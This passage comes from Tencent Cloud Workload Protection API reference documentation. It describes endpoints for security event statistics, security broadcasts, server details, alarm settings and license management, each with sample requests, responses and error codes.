InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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DescribeSecurityTrends

Last updated：2024-12-06 15:40:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the security event statistics data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSecurityTrends.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BeginDate	Yes	Date	Start time. Example: 2021-07-10
EndDate	Yes	Date	End time. Example: 2021-07-10

3. Output Parameters

Parameter Name	Type	Description

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Malwares	Array of SecurityTrend	Array of counted Trojan events
NonLocalLoginPlaces	Array of SecurityTrend	Array of counted cross-region log-in events
BruteAttacks	Array of SecurityTrend	Array of counted password cracking events
Vuls	Array of SecurityTrend	Array of counted vulnerabilities
BaseLines	Array of SecurityTrend	Array of counted baselines
MaliciousRequests	Array of SecurityTrend	Array of counted malicious requests
HighRiskBashs	Array of SecurityTrend	Array of counted high-risk command
ReverseShells	Array of SecurityTrend	Array of counted reverse shell
PrivilegeEscalations	Array of SecurityTrend	Array of counted local privilege escalation
CyberAttacks	Array of SecurityTrend	Array of counted network attacks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Statistics Data on Security Events

This example shows you how to obtain statistics data on security events.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
```

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```
X-TC-Action: DescribeSecurityTrends
<Common request parameters>

{
"BeginDate": "2020-06-20",
"EndDate": "2020-06-22"
}
```

Output Example

```
{
"Response": {
"RequestId": "64643b63-303d-e52c-d262-38222e7dba8f"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

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Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeSecurityBroadcasts

Last updated：2025-03-11 22:59:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the security report list page.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSecurityBroadcasts.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Number of records to return, which is 10 by default, and 0 = all.
BeginDate	No	String	Filter release date: start time
EndDate	No	String	Filter release date: end time
BroadcastType	No	String	Filter security report type: 0 - emergency notification; 1 - feature update; 2 - industry honor; 3 - version release

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3. Output Parameters

Parameter Name	Type	Description
List	Array of Broadcasts	List
TotalCount	Integer	Total count.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Security Broadcast List Page

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeSecurityBroadcasts
<common request parameters>

{
"EndDate": "2019-11-25",
"BeginDate": "2019-12-25",
"Limit": 1,
"Offset": 1
}
```

Output Example

```
{
"Response": {
"List": [
{
"CreateTime": "2019-12-25 11:57:15",
"Id": 1,
"Level": 1,
"Subtitle": "Secury Broadcasting",
```

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```
"Title": "Secury Broadcasting",
"Type": 1
}
],
"RequestId": "5b49dea4-0d0e-400f-8d11-2fdf1707c51a ",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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DescribeMachineInfo

Last updated：2020-07-31 11:18:41

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get server details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeMachineInfo.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	No	String	CWP agent `Uuid` .

3. Output Parameters

Parameter Name	Type	Description
MachineIp	String	Server IP.

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Parameter Name	Type	Description
ProtectDays	Integer	Days under protection by CWP
MachineOs	String	OS.
MachineName	String	Server name.
MachineStatus	String	Status. • ONLINE: online • OFFLINE: offline
InstanceId	String	Unique ID of CVM or BM instance.
MachineWanIp	String	Public IP of server.
Quuid	String	CVM or BM instance `Uuid` .
Uuid	String	CWP agent `Uuid` .
IsProVersion	Boolean	Whether CWP Pro is activated. • true: yes • false: no
ProVersionOpenDate	String	CWP Pro activation time.
MachineType	String	Server type. • CVM: CVM • BM: BM
MachineRegion	String	Server region, such as ap-guangzhou or ap-shanghai
PayMode	String	Server status. • POSTPAY: post-paid, i.e., pay-as-you-go
FreeMalwaresLeft	Integer	Number of trojans left for free scan.
FreeVulsLeft	Integer	Number of vulnerability left for free scan.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting server details

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This example shows you how to get server details.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeMachineInfo
&Uuid=UUID
&<Common request parameters>
```

Output Example

```
{
"Response": {
"MachineType": "CVM",
"MachineRegion": "ap-guangzhou",
"InstanceId": "ins-ibqb87x3",
"MachineWanIp": "130.111.77.111",
"MachineIp": "10.104.248.0",
"MachineName": "Development server",
"MachineOs": "3.10.0-327.36.3.el7.x86_64",
"MachineStatus": "ONLINE",
"ProtectDays": 120,
"Quuid": "56af8eea-5a2a-4f0c-81ca-47208e7cd9b2",
"Uuid": "e3fcbf68-3bd6-11e8-8954-0819a624c497",
"IsProVersion": true,
"PayMode": "PREPAY",
"ProVersionOpenDate": "2018-07-30 12:34:22",
"RequestId": "ad31cc35-8523-42a2-93e0-b733ad247daa"
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Parameter parsing error.
ResourceNotFound	The resource does not exist.

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Settings Center APIs
DescribeProVersionInfo

Last updated：2024-12-06 15:40:33

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the overview information of the Professional edition.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeProVersionInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
PostPayCost	Integer	Postpay yesterday's charge

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IsAutoOpenProVersion	Boolean	Whether the Pro Edition is automatically activated on the new host
ProVersionNum	Integer	Number of hosts with Pro Edition activated
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Pro Edition Information

This example shows you how to obtain the information of Pro Edition.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeProVersionInfo
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"PostPayCost": 4,
"IsAutoOpenProVersion": false,
"ProVersionNum": 10
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeWarningList

Last updated：2024-12-06 15:39:39

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of the current user's alarms.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeWarningList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
WarningInfoList	Array of WarningInfoObj	Obtain Alarm List

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Setting Alarms - Obtaining Alarm List Modified by Current User

This example shows you how to obtain the alarm list modified by the current user for alarm settings.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeWarningList
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "req-1002",
"WarningInfoList": [
{
"Type": 3,
"DisablePhoneWarning": 1,
"BeginTime": "00:00",
"EndTime": "23:23",
"TimeZone": "Asia/Shanghai",
"ControlBit": 0,
"ControlBits": "000",
"HostRange": 0,
"Count": 102
}
]
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error

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ModifyWarningSetting

Last updated：2024-12-06 15:39:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify alarm settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyWarningSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
WarningObjects.N	Yes	Array of WarningObject	Modified alarm setting content

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying Alarm Settings

This example shows you how to modify alarm settings.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyWarningSetting
<Common request parameters>

{
"WarningObjects": [
{
"BeginTime": "00:00",
"ControlBits": "01",
"DisablePhoneWarning": 0,
"EndTime": "23:59",
"Type": 4
}
]
}
```

Output Example

```
{
"Response": {
"RequestId": "a2dfde02-1109-4818-8988-a4355f615442"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyAutoOpenProVersionConfig

Last updated：2024-12-06 15:39:36

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to enable the configuration of automatically enabling the professional protection configuration for newly added hosts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyAutoOpenProVersionConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Status	Yes	String	Set the auto-activation status. • CLOSE: off • OPEN: on
AutoRepurchaseSwitch	No	Integer	Automatic purchase/expansion authorization switch, 1 by default, 0 for OFF, 1 for ON.
AutoRepurchaseRenewSwitch	No	Integer	Auto-renewal or not for auto-purchased orders, 0 by default, 0 for OFF, 1 for ON

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RepurchaseRenewSwitch	No	Integer	Whether the manually purchased order is automatically renewed (defaults to 0): 0 - off; 1 - on

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Setting Authorization Management Parameter Configuration

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyAutoOpenProVersionConfig
<Common request parameters>

{
"Status": "CLOSE"
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeLicenseGeneral

Last updated：2024-12-06 15:39:40

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the authorization overview information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLicenseGeneral.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
LicenseCnt	Integer	Total number of authorizations (including those that are isolated, expired, and in other states)
AvailableLicenseCnt	Integer	Number of available authorizations

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AvailableProVersionLicenseCnt	Integer	Number of available Professional Edition authorizations (including those in postpaid mode)
AvailableFlagshipVersionLicenseCnt	Integer	Number of available Ultimate Edition authorizations
NearExpiryLicenseCnt	Integer	Number of authorizations about to expire (no more than 15 days left)
ExpireLicenseCnt	Integer	Number of expired authorizations (excluding deleted ones)
AutoOpenStatus	Boolean	Automatic upgrade enabling status. True: enabled; false: disabled. Default value: false.
ProtectType	String	PROVERSION_POSTPAY: Pro Edition - postpaid; PROVERSION_PREPAY: Pro edition - prepaid; FLAGSHIP_PREPAY: Ultimate Edition - prepaid.
IsOpenStatusHistory	Boolean	Whether automatic upgrade has been enabled before
UsedLicenseCnt	Integer	Number of used authorizations
NotExpiredLicenseCnt	Integer	Number of authorizations that have not expired
FlagshipVersionLicenseCnt	Integer	Total number of Ultimate Edition authorizations (valid orders)
ProVersionLicenseCnt	Integer	Total number of Pro Edition authorizations (valid orders)
CwpVersionLicenseCnt	Integer	Total number of Inclusive Edition authorizations (those of valid orders)
AvailableLHLicenseCnt	Integer	Number of available Inclusive Edition authorizations
AutoRepurchaseSwitch	Boolean	Auto-purchase switch, true for ON, false for OFF
AutoRepurchaseRenewSwitch	Boolean	Is auto-renewal required for auto-purchase orders, true for ON, false for OFF
DestroyOrderNum	Integer	Number of terminated orders
RepurchaseRenewSwitch	Boolean	Whether automatic renewal is enabled. True: enabled; false: disabled.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Querying Information of Authorization Overview

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLicenseGeneral
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"AutoOpenStatus": true,
"AvailableFlagshipVersionLicenseCnt": 1,
"AvailableLHLicenseCnt": 0,
"AvailableLicenseCnt": 3,
"AvailableProVersionLicenseCnt": 2,
"CwpVersionLicenseCnt": 0,
"ExpireLicenseCnt": 0,
"FlagshipVersionLicenseCnt": 1,
"IsOpenStatusHistory": true,
"LicenseCnt": 3,
"NearExpiryLicenseCnt": 0,
"NotExpiredLicenseCnt": 3,
"ProVersionLicenseCnt": 2,
"ProtectType": "FLAGSHIP_PREPAY",
"RequestId": "d9a5456b-a2db-4106-bd12-32e2c735435d",
"UsedLicenseCnt": 0,
"AutoRepurchaseSwitch": false,
"AutoRepurchaseRenewSwitch": false,
"DestroyOrderNum": 0,
"RepurchaseRenewSwitch": false
}
}
```


5. Developer Resources

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SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeLicenseList

Last updated：2024-12-06 15:39:39

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain all authorization orders of a user.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLicenseList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Take the intersection when filtering with multiple conditions. • LicenseStatus authorization status information: 0 - not used; 1 - partially used; 2 - used up; 3 - unavailable; 4 - available • BuyTime: time of purchase • LicenseType authorization type. 0: Pro Edition-pay-as-you-go; 1: Pro Edition-monthly subscription; 2: Ultimate Edition-monthly subscription • DeadlineStatus expiration status: NotExpired -not expired; expire - expired (including terminated); nearexpiry - about to expire • ResourceId resource ID • Keywords IP filtering • PayMode payment mode. 0: pay-as-you-go; 1: monthly subscription

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			• OrderStatus order status. 1: normal; 2: isolated; 3: terminated • DealNames sub-order number, with a maximum length of 10, exceeding this will result in a failure.
Limit	No	Integer	Limit number, 10 by default.
Offset	No	Integer	Offset, which is 0 by default.
Tags.N	No	Array of Tags	Tag filtering; filter by the platform's tag capabilities. In this case, you should pass in the tag key and tag value as an object.

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number
List	Array of LicenseDetail	Authorization quantity list information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLicenseList
<Common request parameters>

{}
```

Output Example

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```
{
"Response": {
"RequestId": "de41ce31-f2c0-49a9-a476-57051a5c7c6c",
"TotalCount": 1,
"List": [
{
"LicenseId": 1,
"LicenseType": 0,
"LicenseStatus": 0,
"LicenseCnt": 0,
"UsedLicenseCnt": 0,
"OrderStatus": 1,
"BuyTime": "2018-02-28 00:00:00",
"Deadline": "2018-02-28 00:00:00",
"ResourceId": "1c007adc2f0bb9f7c052860e2d3703fa",
"AutoRenewFlag": 0,
"ProjectId": 1,
"TaskId": 1,
"SourceType": 0,
"Alias": "Resource alias",
"Tags": [
{
"TagKey": "Tag key",
"TagValue": "Tag value"
}
]
}
]
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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DeleteLicenseRecord

Last updated：2024-12-06 15:39:43

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete expired orders in Authorization Management - Order List. (Deleted orders are not counted in statistics.)

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteLicenseRecord.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
LicenseId	Yes	Integer	Authorization ID, which can be obtained from the authorization order list
LicenseType	Yes	Integer	Authorization type
ResourceId	Yes	String	Resource ID

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteLicenseRecord
<Common request parameters>

{
"LicenseId": 1,
"LicenseType": 0,
"ResourceId": "xxx"
}
```

Output Example

```
{
"Response": {
"RequestId": "7f877b6e-f1d8-4a99-887c-3479bb086ee7"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DescribeLicenseBindList

Last updated：2024-12-06 15:39:41

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of authorized machines bound to an authorization under the Settings Center-Authorization Management.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLicenseBindList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
LicenseId	Yes	Integer	Authorization ID
LicenseType	Yes	Integer	Authorization type
ResourceId	Yes	String	Resource ID
Filters.N	No	Array of Filters	• InstanceID, IP, and MachineName for fuzzy search

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Limit	No	Integer	Limit number, 10 by default.
Offset	No	Integer	Offset. Default value: 0.

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of entries
List	Array of LicenseBindDetail	List of bound machines
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLicenseBindList
<Common request parameters>

{
"LicenseId": 1,
"LicenseType": 0,
"ResourceId": "xxx"
}
```

Output Example

```
{
"Response": {
```

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```
"RequestId": "de41ce31-f2c0-49a9-a476-57051a5c7c6c",
"TotalCount": 1,
"List": [
{
"MachineName": "CVM",
"MachineWanIp": "1.1.1.1",
"MachineIp": "1.1.1.1",
"Quuid": "xxxx-xxxx-xxx-xxxx",
"Uuid": "xxxx-xxxx-xxx-xxxx",
"Tags": [
"Tag"
],
"AgentStatus": "OFFLINE",
"IsUnBind": true,
"IsSwitchBind": true
}
]
}
}
```


5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ModifyLicenseBinds

Last updated：2024-12-06 15:39:36

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to bind machines to an authorization in batches.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyLicenseBinds.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ResourceId	Yes	String	Resource ID
LicenseType	Yes	Integer	Authorization type
IsAll	No	Boolean	Whether all machines are involved. (If the total number of machines exceeds the available authorizations in the current order, some machines will be skipped.)
QuuidList.N	No	Array of String	List of QUUIDs of machines to be bound. This parameter is required when IsAll is set to false. Otherwise, it is ignored. Maximum number: 2,000.

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3. Output Parameters

Parameter Name	Type	Description
TaskId	Integer	Task ID
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyLicenseBinds
<Common request parameters>

{
"ResourceId": "xxxxxxxx",
"LicenseType": 0,
"IsAll": true,
"QuuidList": []
}
```

Output Example

```
{
"Response": {
"RequestId": "a11d268f-1601-4f63-9131-0382537b9ebf",
"TaskId": 1
}
}
```

5. Developer Resources

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DescribeLicenseBindSchedule

Last updated：2024-12-06 15:39:40

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the binding task progress of the authorization.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLicenseBindSchedule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	Integer	Task ID
Limit	No	Integer	Limit number, 10 by default.
Offset	No	Integer	Offset, which is 0 by default.
Filters.N	No	Array of Filter	Filter parameters Status - binding progress status. 0 - in progress; 1 - completed; 2 - failed

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3. Output Parameters

Parameter Name	Type	Description
Schedule	Integer	Progress
List	Array of LicenseBindTaskDetail	Bound Task Details
TotalCount	Integer	Total number of entries
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLicenseBindSchedule
<Common request parameters>

{
"TaskId": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "db15d3f0-5573-4409-a75e-04d54b8c564c",
"Schedule": 100,
"TotalCount": 1,
"List": [
{
"Quuid": "xxx-xxxx-xxxx-xxx",
```

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```
"Status": 1,
"ErrMsg": "succ",
"FixMessage": "no need",
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
]
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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CreateLicenseOrder

Last updated：2024-12-06 15:39:44

1. API Description

